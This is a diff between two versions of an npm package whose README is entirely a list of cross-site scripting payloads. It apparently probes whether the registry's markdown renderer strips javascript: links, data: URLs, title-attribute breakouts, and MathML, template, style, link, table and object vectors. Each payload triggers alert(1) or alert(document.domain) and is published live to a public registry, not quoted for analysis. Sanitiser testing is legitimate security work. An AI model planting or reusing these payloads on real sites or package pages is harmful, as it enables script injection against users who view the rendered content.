@suul/ssrf-test 1.0.5 → 1.0.6

package/README.md

@@ -1,27 +1,33 @@
-# XSS Tests via Markdown Syntax
+# Advanced XSS Tests
 
-## Test 1: Standard markdown link with javascript:
-[XSS Click Me](javascript:alert(document.domain))
+## T1: title breakout with single-quote inside double-quote
+[t1](https://x.com "x' onmouseover='alert(1)")
 
-## Test 2: Reference-style markdown link
-[XSS Ref][xss]
+## T2: title breakout swap quote styles  
+[t2](https://x.com 'x" onmouseover="alert(1)')
 
-[xss]: javascript:alert(document.domain)
+## T3: math element
+<math><mi onmouseover="alert(1)">x</mi></math>
 
-## Test 3: Autolink
-<javascript:alert(1)>
+## T4: math with annotation-xml
+<math><annotation-xml encoding="text/html"><img onload=alert(1)></annotation-xml></math>
 
-## Test 4: image with javascript
-![alt](javascript:alert(1))
+## T5: template element
+<template><script>alert(1)</script></template>
 
-## Test 5: Markdown link with data:
-[data xss](data:text/html,<script>alert(1)</script>)
+## T6: style element (CSS injection)
+<style>a{color:red}*{background:url(javascript:alert(1))}</style>
 
-## Test 6: URL encoding in markdown link
-[enc](javascript&#58;alert(1))
+## T7: link rel import
+<link rel="stylesheet" href="javascript:alert(1)">
 
-## Test 7: Markdown link with \\n injection
-[text](https://x.com "onmouseover=alert(1) x=")
+## T8: Nested HTML in markdown - does the renderer re-parse?
+<p id="x">
+## heading inside html block
+</p>
 
-## Test 8: title attr injection via markdown
-[text](https://npmjs.com " onmouseover=alert(document.domain) ")
+## T9: mXSS via table nesting
+<table><tr><td><a href="javascript:alert(1)">xss</a></td></tr></table>
+
+## T10: object/embed
+<object data="javascript:alert(1)">fallback</object>

package/package.json

@@ -1,7 +1,7 @@
 {
   "name": "@suul/ssrf-test",
-  "version": "1.0.5",
-  "description": "Markdown XSS tests",
+  "version": "1.0.6",
+  "description": "Advanced XSS tests",
   "main": "index.js",
   "license": "MIT",
   "publishConfig": {"access": "public"}